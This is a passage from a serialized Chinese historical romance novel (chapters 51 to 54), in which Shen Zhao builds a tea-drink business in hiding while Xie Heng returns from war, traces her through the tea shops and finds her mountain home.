慧能手脚灵活地跳下马车,站在界碑旁,不比其高出多少,机灵说道:“施主,这木屋地属于旁边的州府洛阳,长安城的官可管不到这,洛阳的大官都因这儿太远,在深山中,你觉得如何?” 自是极好。 沈昭打量周围,此处环绕在群山之中,依山傍水,木屋虽不大但足够她一人居住,且周围地形平坦,若是以后扩建也可,而且上山之路虽狭窄又乱世,但终归车马可行,交通还算便利。 但上次中蛇毒,她仍心有余悸,问道:“这山里不会有蛇吧,或者其他动物?” 慧能放下身后的竹筐,摊开里面的小包袱,花花绿绿的瓷瓶滚了满地:“女施主,你大可放心,我问过师兄了,过几日入冬后,那些蛇虫鼠蚁便少了。” 他挑挑捡捡其中的瓷瓶:“这个是驱蛇的,这个是被蛇咬后清毒的,上次在寺中你还用过,”说着又挠挠头将手里瓷瓶调换了个,“不对,这个才是清毒的。” 沈昭不做他想,全部接下,慧能小师傅整日在寺中,最多是愁着一日三餐能否多个馒头,活得天真快活,请他帮忙属实是难为他了。 她之前给慧能银钱,他从未收过,此番特意去春风楼买了现成的点心,递给他:“那谢谢小师傅了。” 慧能两只手抱着一大盒点心,歪着头,神神秘秘道:“女施主放心,若是上次那个俊俏公子来寻你,我一定当作没见过你。” 50-60 第51章 沈昭便在这山中小屋住下了。 慧能偶尔上山时会把摘得野果分她一些,又匆匆跟着师兄弟下山,每每在寺庙里躲懒时又会不远万里上山来寻她。 此处偏僻且临界,少有人涉足,他的师兄弟一般不会至此。 一次慧能急急忙忙跑上山,向她炫耀,有人来灵山寺寻她,自己又是如何遮掩,没让那人产生半分疑惑,最后无功而返。 依着慧能描述的样貌和身形,不是谢珩,她猜测大概是杨方。 除了这次,沈昭再没听到与他相关的事。 山中日子烦闷,沈昭下山时便寻了些古籍,在山里种些花花草草。 上次赠茶叶的南方香客来时,沈昭见过她几次,向她请教了一些茶叶储存、采摘的技艺,但她并非内行,两人倒是就南北口味差异聊了许久。 长安这一带,仅灵山寺中的人喜爱喝茶,寺中多是僧侣和香客,他们口味偏淡,茶于他们而言,不仅可提神,这淡淡的苦涩倒更有几分禅意,甚至寺中有些人直接吃茶。 正如老夫人喜酸,李立雯嗜甜,寺中人则喜苦涩回甘。 但长安城中的人虽不是整日大鱼大肉,但大多百姓尚能依着自己喜好的口味果腹,这茶的苦味于他们而言,要么是味道太淡,要么是苦味难耐。 她曾记得历史上,喝茶饮茶在不同时代亦有不同文化。 既然此处的人一时接受不了茶的苦涩,那她何不想办法加入其他辅料,冲解茶的苦,发挥茶入口余韵回甘的滋味。 此后,她从南方又采购了一些茶叶,在距她最近的洛阳一个镇上,支了个小炉子,向往来的商客卖茶汤,起先吸引了部分百姓的注意,但口味难调,收获不多。 经她一次次调配材料,中和茶的苦涩,不仅用了橘皮、花椒叶,甚至葱姜都尝试过,吸取来往茶客的意见,反复调配修改,终于在一年以后成功了。 她卖的茶汤渐渐小有名气,洛阳城中还有人特意来寻,但她的目标不仅是洛阳,要想将此推广到长安,甚至整个北方城市。 可她在洛阳尚且可以抛头露面,若是到了长安,该如何呢? —— 血腥气弥散四野,战场哀嚎不断。 鲜血顺着肌理分明的小臂缓缓而下,谢珩狠狠撕扯下左袖一绺染血的青布,肩臂筋肉虬结暴起,每一次拉扯都牵动伤口,痛得他眉峰紧蹙,额上冷汗混着血水蜿蜒滑落。 他胡乱地在自己伤口处简单缠了几下,血霎时将布洇成暗红。 “大人,您没事吧。”士兵上前扶起他。 “无碍,快去救人。” 这已经是谢珩来此的第二年了。 当日他寻着沈昭离去的方向,一路追赶,但往来的人都未见过她的身影。 他出征本就是为着求一道赐婚的圣旨,若沈昭走了他活着也没什么意义,不若投身疆场,死得其所。 他不顾李立雯的阻拦,毅然决然接下圣旨出征。 中央设十六卫将军衙门专事天下军马,每卫长官为军中将军,统率所属部下,下设中郎、中郎将等。① 若以谢珩的官职和身份,军中将军同他平级,但他毕竟没有从军经验。 景明帝任命他为中郎将,随军出征,他独自前往,留下杨方在长安继续寻沈昭的踪迹。 战场上晋升靠得是军功,他一个从长安城空降去的公子哥,面红齿白,站在一群粗犷的汉子中,难免有些违和。 起初,大伙儿并不服他,挤占他的床位、言语间嗤笑、甚至从战场上缴获的兵器也是挑挑拣拣,剩下最差最烂的给他,军中将军知晓他的身份,曾在长安城中见过几面,有意护他,多次下令整肃军纪军貌。 可越是如此,反而越激得这些人心中更是不服。 谢珩并未将他们的话放在心中,反而心中快慰。 他们越是心中有气,更印证了这是一群有血性的士兵,他坚信如此团结一心的军队,更会战无不胜。 收回被孑于夺走的城池,只是时日问题,他很快便会回长安。 他一定会尽快回去,找回沈昭。 而军中众将士对他改观,是邵阳一战。 邵阳是被孑于夺下的第一座城池,若是能将其收回,必定会振奋士气。 可此处易守难攻,谢珩受命带一小队突袭,潜入城内,先行探路,却反遭敌人埋伏,士兵们伤的伤,亡得亡,他们指望不上这名城里来的贵公子,催他下令回撤:“事情败露,留在此只会白白送死。” 谢珩犹豫,这一战至关重要,他们夜间突袭,本为烧起粮草,将其困于城内,若城内断水绝粮,他们可化被动为主动,掌握先机。 可是若如此落荒而逃,今后他们只会严加防守,再无翻身余地,他当即下令:“你们原路返回,去城外渡河等我,若一个时辰后,我还未现身,请将这个送回长安。” 夜色深沉。 他此话一出,无疑在交代遗言。 士兵虎躯一震,念起此前对谢珩的嘲笑和误解,心生愧疚,但生死一线,又顾不得太多,他看不清交代的物件,只觉一片软绵,料想该是块锦帕,将其紧紧攥在手中:“是。” 街上举着火把的孑于士兵正挨家挨户寻他们的踪迹,众士兵撤离后,谢珩隐于黑暗中,偷偷摸向他们的粮仓。 那一夜,邵阳粮仓的火映红了整片天空,直到天亮才渐渐化成阵阵浓烟,镇守孑于的副将死于帐中。 邵阳城中大乱,城中百姓同孑于士兵闹了一夜,百姓本就不堪他们的搅扰和压迫,一度要冲破城门。 人心军心皆乱,邵阳势在必得。 先行撤离的士兵回去将谢珩的安排汇报给军中将军,将军拍案而起,速带了一队人马前去接应他。 等了一夜,直到鲜血将整条河浸红,他们都未看到谢珩的身影。 士兵们虽见惯了沙场生死,仍不由得红了眼眶,暗恨自己曾经对他出言不逊。 傍晚,河水黑得幽深。 拿着帕子的士兵一直站着,眼神空洞,向上游望去,像根木头一样钉在原地,直到看到一身铁甲的谢珩随水飘出。 他慌似地将谢珩从水中捞起,扶回军营,军医用尽办法,谢珩足足躺了七整日才醒过来。 他反反复复困于梦魇之中,梦里一直都是沈昭的面容,泣不成声地同他告别,只要他一靠近,那双柔夷便像风一般散了,他连她的一缕青丝都触碰不到。 沈昭父母和弟弟皆亡,她受尽与亲人死别的苦楚,如今又被他李立雯母亲逼着同他生离。 她当时该是多么无助和无奈。 他恨自己,恨自己当夜为何不多看她几眼,将她紧紧拥在怀中。 甚至恨自己的身份,恨他曾经拥有的一切。 梦中的一切渺远又模糊,刺目的光亮逼得他不得不睁开眼。 谢珩醒了。 曾亏待他的士兵磨不开面子直接向他道歉,变着花样想讨好他。 但他仍一如既往,要么在军营中看军书,要么便同将军商议军情,很少同其他人言语。 他们一路凯旋,收复邵阳和洙泗两城,众将士士气高涨,围着篝火庆祝时,只有谢珩一人坐在一旁,也不喝酒,只用手反复抚摸那方锦帕。 “要不咱们哥几个,去敬谢大人一杯。你说,他整日拿个帕子看什么呢?” “你这种没成家的愣头青不懂,大人定是思念家里夫人。” “你成亲了怎的也不见你这么深情啊,前几日入城,见到城里小娘子,还和人眉来眼去。” “你少胡说啊,信不信我揍你丫。” “我觉得不对,那帕子俺偷偷瞧了,那针脚粗的,还赶不上俺家婆娘的绣工,大人是长安来的贵人,他家夫人送的自然是最好的,怎么会是如此粗制水准。” “你管那么多呢,人家那是夫妇情趣。” 一行人吵吵闹闹,及至谢珩眼前,共同举起酒碗:“谢大人,先前是我们哥几个有眼不识泰山,还请您见谅。” 邵阳一战,谢珩功不可没。 众人闻言,共同举杯:“敬谢大人。” 粗壮的汉子浑身是劲儿,声如洪钟,在山中此起彼伏,久久不绝,震得树影婆娑,山河摇曳。 谢珩将锦帕妥帖地收好,举杯同饮。 随军恶劣,号角一响,无论何时何地作何,便需即刻集合。 风餐露宿,睡卧不宁。 尤其是夜间,常常打着哈欠,睡眼惺忪地拔营扎寨、整军出发。 军医在路上若是寻得茶叶,便带着伙头兵多采一些,留作备用,他们往往喝得狠,将茶叶塞得满满一锅,熬煮出滋味。 谢珩端着一大碗茶,抿了一小块,旁人却猛灌一大口,咕嘟咕嘟入肠,胡乱抹掉留在唇腮的茶水:“再来一碗。” 谢珩问向他们:“这是茶?” 这是谢珩自来此之后,第一次同他们主动攀谈,士兵又斟满一碗:“是啊,大人,就这个苦味才够劲,一碗下肚,可精神了!” 谢珩将满满一碗苦涩灌入愁肠,呷了呷嘴,喉间回甘的那丝甜却再是品尝不到。 他遥望着长安的方向,沈昭一直念着想将茶叶推广至长安,若是她知晓军中将士爱喝,定会欢欣,如果由户部出面,集中采购,算作军饷,那么她的茶叶便不愁销路无门了。 可终是得教她再侯些时日,待他凯*旋归来,待他寻回她,才能将此喜讯同她诉说。 但他坚信,很快,很快。 他定能寻回她。 第52章 寒来暑往,四度春秋。 边疆大捷,不仅收回了失去的三座城池,更将孑于赶到八公山以北,自邵阳一战孑于副将身死,主将求和,已显颓势,后其自愿写下契书,除每年向我朝进贡之外,绝不再越疆界半步。 回城那日,军中主将在前,谢珩在后,雄姿飒飒坐于马上,全城百姓夹道相迎,军旗猎猎,昭我朝威严,身穿铁甲的将士威风凛凛,鲜花果子撒了满街满巷,万人空巷,好不热闹。 “夫人!少爷已到宫门了。”家仆在街上探听到消息,从熙熙攘攘的人流中挤出,赶回国公府时,大军已然卸剑入宫。 “好好好,快吩咐厨房,去备菜,多做些珩儿爱吃的。”四年前李立雯一日之内接受谢怀瑾身死和谢珩出征的重击,头发霎时染了一层白霜,白了大半。 这些年她日日吃斋,夜夜念经,只盼她的珩儿能平安归来。 此刻她悬着的心终于落下,自言自语道:“多谢谢家的列祖列宗保佑。” 金銮殿前,景明帝率一众朝臣迎谢珩等众将士归国。 他们军容肃整,威武不凡,虽一个个皮肤黝黑,但步伐之间全是坚定和不屈,脸上、脖颈间的伤已转成旧疤,皆是他们为国为民,出生入死的勋章。 将军为首走在前,谢珩行于他身侧,身后携四纵整齐的队伍,齐刷刷跪地参拜:“吾皇万岁万岁万万岁!” 凛凛浩然正气,雄浑有力的声音在宫闱之中回荡,久久不息,惊起栖息在琉璃瓦上的鸟儿,振翅欲飞。 景明帝上前扶起将军:“众将士快快请起,今有我朝雄狮之众,克敌制胜,守家卫国,是朕和百姓的福气。 这一路奔波劳苦,朕已安排了宫宴,犒赏三军,普天同庆,今夜我们不分君臣,不醉不归!” “谢陛下,谢陛下!”众将士彼倡此和,战争终是结束了。 将军携军队在城外安营扎寨,他们回去稍作休息,晚上一同入宫饮宴。 御书房内,景明帝正在斟酌拟定此次封赏的圣旨,谢珩候在一旁。 四年前他自请出征时,言语闪避,并未道明事情原委,景明帝彼时被孑于烦得焦头烂额,只多劝了几句,未做他想。 谢珩走那日,长安城里传出风言风语,谢家寻回的小姐亦跟着不翼而飞,再没有人见过她。 这几年,长乐公主多次进宫,央求景明帝去寻,可毕竟涉及谢家家私,他并未插手。 景明帝龙心大悦,他撂下手中的笔,看向谢珩:“此番九如立下大功,想要朕什么赏赐啊?” 谢珩在旁执礼:“为国尽忠,本是臣分内之事,战事大捷离不开主将的谋划和众将士拼杀,臣只是在旁辅佐。” 景明帝见惯了朝堂之上的机锋,他一向看重这个外甥,但到底隔了君臣这层,倒生分了些,他笑道:“九如,不必如此拘谨。” 他将身旁随侍遣散,只余他们二人:“这儿没有外人,朕只是你的舅父罢,今日只叙叙家常,说说吧,四年前你到底为何执意出征,到底发生了何事?” 谢珩本就有意请旨赐婚,事到如今,更不该继续欺瞒,他跪在地上:“陛下,四年前臣心仪于一女子,可母亲未准,臣幸得从战场上捡回一条性命,还请陛下下旨赐婚。” “嗯?”景明帝眯起眸子凝睇他,谢珩自小克己复礼,敬上接下,如今倒为了一女子不惜顶撞他母亲,他饶有兴味地问道:“是何人,得你用情至此啊?” “臣妹幼年走失,臣一时冲动,寻了一女子假扮作她,想替祖母和母亲开解,可是臣在与她朝夕相处中,渐生情愫,此事皆因臣起,可臣倾慕于她,此生只愿娶她一人为妻。” 谢家寻回谢怀瑾一事,景明帝自然知晓,那时长乐与那女子走得亲近,往宫外送了不少好物,他不仅睁一只眼闭一只眼,默许了,还私下命人多附了些,一并送到晋国公府上。 他从未见过谢家怀瑾,还一直盼寻个机会见见小辈。 可,如此闻所未闻荒唐的行径,竟是由谢珩一人挑起。 他听罢,抄起桌上的奏疏,冲着他掷去:“你自小允恭克让,怎的,竟做出如此糊涂之事!” 谢珩亦未料到陛下会如此震怒,垂首道:“臣愿接受一切责罚,但她既非我亲生妹妹,臣娶她不违祖宗礼法,不□□理纲常。” 景明帝气得坐于御座上:“朕念你此番出征凯旋而归,不同你置气,婚事一向由父母之命媒妁之言,若你母亲允准,我自会下旨,你且退下吧。” “陛下!” 景明帝不作他想,摆摆手:“来人,送谢大人出宫。” 谢珩已记不清自己如何走过漫长的甬道,行至宫门。 宫内宫外欢庆声不断,飘在他耳畔却只觉聒噪,眼前的朱墙绿瓦、廊角飞檐,虚的让他辨不分明。 时光荏苒,柳树抽条,北雁南归。 却独独将他一人留在了四年前。 “九如!”高峻在宫外看他魂不守舍,唤他半天,毫无反应,只得大力握他的双肩,将他晃醒,“你别吓我啊!你走这关外一遭,到底经历何事?” 谢珩的思绪被一缕缕抽回,定睛望着眼前的高峻,将他的手掰开。 “哎,疼疼疼。”高峻揉着自己手腕。 你可别杀红了眼,将我当成那孑于小儿了,这么大劲。 谢珩蜷缩指节,沙场厮杀生死只在旦夕之间,他一时失了力度,收回手,淡淡吐出一句:“抱歉。” 高峻自是不会真的责怪他,甩了甩手腕,一手搭在他肩上:“九如,举国欢庆的日子,你怎的和失了魂一样,”他似是想到什么,抿了抿唇,缄口不言。 新婚那日,他从公主那儿有所耳闻,公主这几年一直在寻沈昭,可毫无所获。 “罢了罢了,你好不容易回来,我就不打扰你同家人团聚了。”高峻将话锋一转,转身要溜,他本就是顺道看看热闹,家里还有大事呢。 谢珩却反扯住他的肩:“陪我坐会吧。” 一炷香后 谢珩面如霜雪地坐在喜宴之中,周围围着一众朝臣,不时向他举杯,庆贺他班师回朝。 不过此时高朋满座,宾客宴宴,却是为了庆贺高峻喜得千金,筹备的百日宴,众臣下朝后三三两两,赶来高府。 高府上下张灯结彩,喜气洋洋。 高峻一边忙着应和,一边不时撇眼打量谢珩,今儿是他掌中明珠的大日子,他本是去宫门接几位重臣,正巧碰到谢珩,想着同他打个招呼,可谢珩反而不让他走,他只能出此下策将他带回府了。 谢珩虽是随声应和端起杯盏,但浑身煞气尽显,那一张不苟言笑的脸,只瞥一眼,寒意都浸入骨髓了,倒更不敢令人靠近了。 今日他风头正盛,可众人是为着高家而来。 不多时,奶娘抱着小小的一团,跟随李玥而来,轻柔地交于李玥怀中。 大红织金襁褓,绣着百子图样,包裹着小小的婴孩,远远只看见粉粉糯糯的一角,似是闭着眼,不知睡没睡熟。 方才还喧闹的宾客,霎时静了声,连拿取杯盏都不由得轻柔几分。 高峻大步上前,自然地接过李玥怀中襁褓:“夫人,外面风大,你早些回去休息吧,这儿有我。” 李玥拿起绣帕,亲昵地为他擦去额角的汗。 好生令人艳羡。 谁人都料想不到,当初肆意浪荡的高峻,成亲之后,一改常性,如今满心满眼全是一对妻儿。 之前那些狐朋狗友邀他再聚,可难于登天。 李玥对朝中之事知之甚少,今日来的宾客亦不熟悉,但她听闻谢珩班师回朝,余光扫到坐在宴席中的他,无奈地浅叹一口气。 谢珩不似以往那副金尊玉贵,经着风吹日晒,皮肤没有往日那般白,又不是古铜那般粗粝,而是如秋日麦浪,透着日光浸润后的温润光泽。 愈发显得清眸更深更黑。 眉目间凌厉的锋芒更甚,额角至下颌的线条更加硬朗,反添了几分铁血之气。 隔壁席间的女眷中,几个待字闺中的小姐不时向他投去目光,又害羞地将头低下,不敢细看。 他端起桌上的茶盏,一饮而尽,淡淡的苦涩滚入喉间,一股浅浅的清香扑了满口,他将茶盏置于桌上,家仆上前又为他添了一杯。 谢珩呷了呷嘴,又品了一口,问道:“这是何物?” “大人,这是当下长安城里最时兴的茶饮。” 像溺水之人突然抓住浮木。 谢珩一把夺过家仆手中的青瓷茶壶,揭开壶盖,浅色的茶汤轻晃:“这茶饮如何得来?” 家仆颤巍巍道:“这、这茶饮长安城随处可见,并非稀罕之物,大人若是喜欢——” “你们家二公子在何处?”谢珩直接打断了他的话。 “请随我来。”家仆不敢怠慢贵客,带着谢珩离席去书房见高义信。 院中种了两排茶树,枝叶繁茂,另在一旁遮了荫篱,竹编的透光遮障,是为着夏日避免日光直射所用。 家仆刚在门外站定:“少爷,谢大人。” 通传的话还未说完,谢珩直接推门而入,吓得仆从小步退下, 久未相见,高义信倒是无甚变化,他先是怔了怔,而后见礼:“谢公子,好久不见。” 谢珩直接开口问他:“这长安城的茶饮可与她有关?她在哪?” 沈昭曾一直希望将茶饮引入长安,这肯定是她所为。 因着高家二郎高义信善钻营农事,她曾向他请教过,这些她未曾瞒过他,谢珩知晓。 长安城的茶饮定与沈昭有关! 高义信苦笑一声:“我若是知晓便好了。” 他当日被沈昭拒了,哪怕猜到她有心仪之人,可仍想不到那人竟是谢珩。 她的兄长。 纵使他后来知晓她并非真正的谢怀瑾,可先入为主的观念太深,谢家夫人又一直不允,高义信好心劝道:“谢公子,莫执念太深,礼法规矩仍在,莫僭越。” 谢珩不欲同他多言,更不会信他一面之词,既有了线索,依着茶饮去寻,他会找回她。 一定! 他转身要走,听到高义信的话,脚步顿住,嗤笑道:“多大的礼我也越了!” 刚一出门,便对上高峻和李玥夫妇二人,她们听闻他急匆匆离席去寻高义信,生怕闹出乱子:“九如。” 谢珩径自往外走:“我还有要事要查,今日叨扰了。” “九如。”高峻在他身后喊他,他却置若罔闻地出了府。 李玥拉住高峻,惋惜道:由他去吧。” 长安城茶饮背后的东家,此刻正在她的私宅前,侍弄花草,她正调整荫篱位置。 田圃里的花草被日头晒得耷下脑袋,葡萄架子上藤蔓缠绕,树叶上莹亮的水滴在日光下,闪着光。 这四年光景,她由一个在路边支着炉子,无人问津的小茶摊做起,先在洛阳小有名气,而后又步步发展到长安,方子几经调整,她的茶饮铺子如今在长安开了三家,洛阳五家。 种植的茶园由专门的农户打理,亦不需她耗费太多心思。 四年前的小木屋,经她改造扩建,青砖黛瓦围成一方新天地,朱漆大门内虽仅是一重庭院,但内含五间正房、左右厢房各一。 夏日纳凉,冬季赏雪,好不惬意。 侍弄完花草后,她在灶台上煨了一锅雪燕粥,转身去拿碗时,灶台旁一个冰瓷白碗赫然进入她的视线。 她拿起碗细细端详,她大多在山中独自用饭,用罢便随手将碗碟洗净,放回柜中。 可这碗是何人放在此处? 细腻的瓷碗中一线浅浅的痕迹,在她手中静默裂开,白碗霎时碎成两半。 她适才想起这是昨日开裂的那只,她随手放在灶台上,忘记扔了。 怎的又突然拼合在一起了?若非白瓷若不细看,肉眼只怕真不轻易发现。 只是破镜难再圆,她随手将两块碎瓷仍到一旁的渣斗中。 —— 谢珩离开高府后,径自去了长安城最大的春熙茶铺,茶铺前排了一队。 春熙茶铺与一般的酒水铺子不同,不仅卖各种茶饮,还卖茶叶,若是走得累了,过路饮一杯茶亦可;采购茶带回家亦可。 门前还有几个店小二以小杯盛着茶,递给来往过路的百姓:“公子、小姐,走过路过不要错过啦,走得累了,喝杯凉茶吧。” 谢珩接了一杯,一饮而尽,与他在高府喝得无异,他开口问道:“你们老板在哪?” 店小二笑脸相迎,将他带至队伍末端:“公子,您若是买茶,在次排队便可。”说罢接着去街上吆喝了。 他前方的一个买主回头说:“小伙子,慢慢排吧,我也是等了一会了,好在这队行的快,过过称,包起来就行。” 谢珩心中的预感更强,他的视线不自觉在店铺内巡视,却始终未见到沈昭的身影。 队伍缓缓前行,他的呼吸不觉加重,甚至能清晰听到自己胸腔中一下一下的跃动声。 下一个便是他了。 他整整衣襟,理理袖摆,甚至将腰间佩剑的剑穗都拨弄整齐,分明才饮了一杯茶,可喉间却又干热得紧。 还未等店小二开口,直接说道:“我要见你们掌柜的。” 对上他一对漆眸,眉目间的凛然之气尽显,不怒而威。 店小二不作他问,吩咐人带他去内院:“找咱们柳掌柜的。” 谢珩随人入内,院中,一青衫男子立于树下,听得店外的动静,转过身,不紧不慢道:“何事?” 院里晒着刚采摘的辣椒,平铺在竹簟上,足足摆了满院。 谢珩余光扫过,径直走到青衫男子面前:“我要见你背后的东家。” 青衫男子眼皮浅跳,嘴角弯出温润的弧度:“这位公子说笑了,这春熙茶铺仅我一人当家,你若不是寻我,只怕是来错了地方。” “铮——”一震嗡鸣,谢珩拔剑出鞘,将剑抵在柳宁的脖子上,剑光晃得柳宁微眯起眸子。 谢珩:“我没那么多耐心,现在速带我去见她!” 第53章 谢珩直接拔剑,吓得一旁的伙计登时慌了手脚:“你你这人,柳掌柜,我这就去报官。” 谢珩扯下腰间令牌,眼皮也没抬,随手一抛:“拿着这个给衙役,这样你报官还能报的快些。” 店里的伙计霎时懵了,此人竟嚣张至此,他支支吾吾地立在原地,又不敢冒然上前。 柳宁的目光沉了沉,面上仍带着笑:“公子既来寻人,又不说何人,上来便动刀动枪,我正儿八经开门做生意,寻人一事还得请公子去报官。” 若是寻常百姓,安稳过日子,乍见刀剑无眼,第一反应该是慌乱,可面前的青衫男子,神色自若,倒像是早有防备。 谢珩收剑,直直望着他:“我在寻一名叫沈昭的女子。” 明明一方收了剑,一方始终笑着,可萦在两人之间的微妙气氛,却令人不寒而栗。 柳宁摇摇头,声若金玉:“从未听闻。” 谢珩急着寻回她,一时冲动,暴露了自己的意图,眼前人既有所防备,再问无果。 “得罪了。”谢珩留下一句便先回了左衙。 衙内的弟兄们方才在街上维持秩序时,已见过他,心心念念何时给大将军庆祝一番,转头却见他一头扎进书房。 心里连连暗叹将军勤勉,自愧不如。 当年沈昭走得匆忙,因着他不得不回宫接旨,彼时的困局哪怕寻到她亦无法解开,何况她去意已决,他便毅然决然上了战场。 这几年他日思夜想,谋划着她若是离去,会寻求何人相助,她无父无母,在此最在乎的又是何事 他心中缠绕成团的迷雾,被他一点点拨开,看着墙上的舆图,结合今日在长安城的见闻,答案不言而喻。 灵山寺。 若想培植茶树,哪怕不经高义信之手,但终究绕不过灵山寺那个小沙弥。 是他在其中为沈昭牵线搭桥,哪怕他不知她所在,但他们之间必定有联系。 但他沉吸一气,她当年受他母亲威胁,被逼离开,她既然下了决心,便不会轻易食言,她避而不见,又有人为她遮掩。 他该如何能撬开他们的口呢? 他已打草惊蛇了,若是春熙茶铺的柳宁提前通风报信,只怕他再寻更难。 他安排下去:“备一匹快马给我,另去谢家告诉杨方,让他去春熙茶铺盯着柳宁。” 谢珩快马加鞭赶到灵山寺时,已近傍晚。 山中炊烟袅袅,朱墙青瓦掩映在山水之中,本该是一片艳色,却因铅色的云铺满天穹,内蕴阴沉,叶片染上墨色。 庙中,住持正在上晚课,寺前仅余一名小僧手拿扫帚清扫。 见谢珩下马而来,他单手执礼道:“阿弥陀佛,施主远来,可是要礼佛上香?” 慧能小师傅可在寺中? 谢珩咽下要脱口而出的话,切莫冲动,此是他唯一的线索了,他回之一礼:“在下听闻灵山寺香火鼎盛,尤以一株古槐树颇具灵气,特来一观,我自四下看看,不劳烦师傅了。” “阿弥陀佛。”小僧不做他想,又继续独自清扫。 谢珩跨过门槛,但转念一想,毕竟慧能曾见过他,他不便露面。 寺中大多香客聚集于佛堂,偶尔零星几名小僧走过。 谢珩寻到一僻静无人处,旋身上墙,俯下身子盯着寺中的几处光亮,寻慧能的身影。 想他一世剪恶除奸,竟第一次像个贼首般,偷偷摸摸,藏头露尾。 倒颇有几分不自在。 好在天意垂怜,倒没让他多等,斋堂的门“吱呀”一声轻响,一个光亮的脑袋蹑手蹑脚,手中拎着一个食盒,从后门溜出,正是慧能。 他目光追随那道身影,如一片落叶般,飘然落地,尽量不发出声响,小步跟上他,往山中走。 慧能每月总有几次会特意上山,去寻沈昭,一是给她带些吃食,毕竟他师兄做得斋菜实在美味,二是为他自己,因着躲早晚课,总得寻个理由。 他平日耍懒惯了,到处不见他,只有在斋堂里内能多见他几次,倒无人在意。 天色渐深,慧能手提着一盏兔子灯,一步一个脚印往山上爬。 这盏灯还是沈昭从洛阳买回送他的,他喜欢得很,夜里出门总爱不释手地拎着。 山路蜿蜒但并不曲折,除了行人的脚印,还有来往的车辙印。 谢珩俯身摸过地上的碎石,更确信她就在山中。 兔子灯在夜中一蹦一跳,丝毫未留意身后跟他而来的人。 途径岔路时,慧能转了方向,余光无意瞥见树种闪过一个虚影,他站在原地,眨巴眨巴眼眸,停了几息。 那虚影闪过的树丛抖得厉害,不似微风吹拂。 他默念一声阿弥陀佛,转过身,举着兔子灯慢慢向草丛靠近。 谢珩躲在树丛中,庆幸自己身着深衣,刚松了口气,却听到他慢慢靠近的脚步声起。 他抬眼向远处看,慧能正步步向他靠近,他身后,仍未见有人居住的痕迹,一片漆黑。 只怕她还在山尽头,此路岔路极多,若非由慧能带路,并不易寻。 他将身子俯得更低,草丛却抖动更甚。 此刻再作伪装,已来不及。 他屏住呼吸,额角的汗水顺着脸颊缓缓而下,此刻的紧张与不安,竟同他邵阳埋伏那夜,相差无几。 慧能的脚步逼近,布鞋碾过石子的声音摩擦着他的耳膜。 忽而一个白影嗖的窜出。 慧能尖叫一声,吓得一屁股坐在地上,看清是只野猫后,他拍拍袈裟从地上爬起:“猫猫坏,让你吓我!” 谢珩轻轻吐息,身子僵得不敢妄动半分,直到听见慧能的脚步声渐轻,才从草丛中走出,复又紧随而上。 弯弯绕绕,不知走了多久。 兔子灯里的烛火将要燃尽时,谢珩终于看到几星光亮。 山风阵阵,几只常满灯随风轻晃,勾勒出宅院轮廓,其上绘制的七龙五凤,栩栩如生,守家镇宅。 回看山下,已一眼望不到头,此处僻静幽深,若非慧能在前,只怕饶是知她在此山中,派人搜山也需耗费不少功夫。 门扉虚掩着,不避外人。 慧能推门而进,大喇喇地向内跑去,谢珩却止了脚步。 “女施主,师兄今日做得豆腐可香了,你快趁热尝尝。”慧能踮起脚,四年前,他刚能将食盒捧起,踮起脚尖推到桌上,如今身量渐长,已然与桌案齐平。 沈昭为他倒了杯茶,又将他手中的兔子灯放于一旁,一会儿换上灯烛,方便他下山:“快坐下歇歇,夜深露重,一会儿可需我送你下山?” 慧能咕嘟咕嘟牛饮般,抱着茶碗喝个干净,又将其倒满:“这山路我闭着眼都能走下去,女施主大可放心,对了,怎的这几日都不见蓁蓁了?” 沈昭笑着打开食盒,打趣道:“她三日前刚来过,怎的,一见面便吵嚷个不停,如今不见面了,反倒还念起她了?” 小和尚涨红了脸:“阿弥陀佛,施主慎言,修行之人自是六根清净,四大皆空,戒贪嗔痴恨,一切妄念皆虚无” 她亦不打断他,由着他去念。 慧能翻翻眼皮,嘟囔着嘴,气得抱起兔子灯作势要走。 他每每听师傅讲经时,瞌睡连连,多年下来,只记得这几句,由着他说,他反而说不下去了。 沈昭喊住他:“莫走啊,小师傅,蓁蓁说过今日会来,你不等她了?灯芯还未换呢!” 慧能随手取了墙角的花灯,抱在怀里,置气说:“谁会等她,我要下山了,此物便当做质押,改日你将食盒归还时,我再给你。”说罢头也不回地走了。 沈昭笑得嫣然,这小师傅倒是聪慧,偶尔上山,听过她同柳宁一众浅谈过交易、经营一类的事,记住几个词,倒真会活学活用。 慧能前脚刚走,房檐上的灯盏忽地晃起,似被疾风翻搅,磕碰到房檐上,发出喀拉喀拉的声音。 沈昭推开屋门,向外望去,静谧的山野中只有一豆光,晃晃悠悠消失于夜。 天上的月弯成一道弧,被云遮盖,唯树叶摩擦的沙沙声,在山中回响。 念着蓁蓁一会儿会上山,她并未将门关紧,转身向屋内走去。 刚踏出几步,脚下便出现了另一道黑影,她顿住步子,尽量保持镇静,抬眼去瞟墙上挂的镰刀。 身后的人并未动作,只站在她身后,神色复杂地望着她的背影。 她在此住了四年,起先怕着山中豺狼野兽,或是闲散无赖上门,谨慎得紧,房门上了好几道锁。 后来才知,除了夏季山中多蛇蚁外,并无其他走兽,更从未在山中见过任何人。 便是慧能的师兄弟们上山采摘,知道她独居于此,他们更不会叨扰。 近半年,她才渐渐放心,加上茶铺的生意繁忙,有时便忘了落锁,但一直相安无事。 慧能刚走,此人便现身了,明显有意随他而来,她心底最深处有一种设想,但她不能冒险,她的目光未从墙上的镰刀上离开。 她微微偏着头,以她的角度,看不见身后之人。 可谢珩却将她的一举一动,完全描摹在眼中。 她似是清瘦了些,一身藕荷色的衣裙,不显身量,却仙仙欲飘。半缕青丝以一根木簪挽起,垂落的另一半如瀑般披于肩侧。 半侧的雪腮被屋内的烛火镀了一层润泽的暖光。 似一把火,将他内心那片因思念而灼作烬灰之地,烧至一片鲜红,他却只想让这把火烧得更旺些。 沈昭不作他想,下一瞬,她抬起步子,作势去抓墙上的镰刀,却陡然间转了方向,弯下身子向门外跑去。 来人却轻易看穿了她的心思,俯下身子,长臂舒展。 她猝不及防撞上一个坚实硬朗的手臂,那手臂轻轻一捞,将她弯下的身子带起,紧紧锢住她的腰肢,隔着衣物仍能感受到他身上的灼热,谢珩长臂收拢,将她拥入怀中:“沈昭,我回来了。” 第54章 谢珩的声音如一计惊雷,在她脑中炸开,只余空空的嗡鸣,尘封的过去如灰白默片,霎时染上颜色,一切都变得鲜活。 漫天绚烂的烟火、酒后暗巷的亲吻、雨中山洞的旖梦、洞房喜帐中那根红绳一张张拼凑出面前谢珩的脸。 他起伏的胸腔同她紧紧相依,似乎更健壮了些,宽阔的肩背如山一般雄浑魁梧。 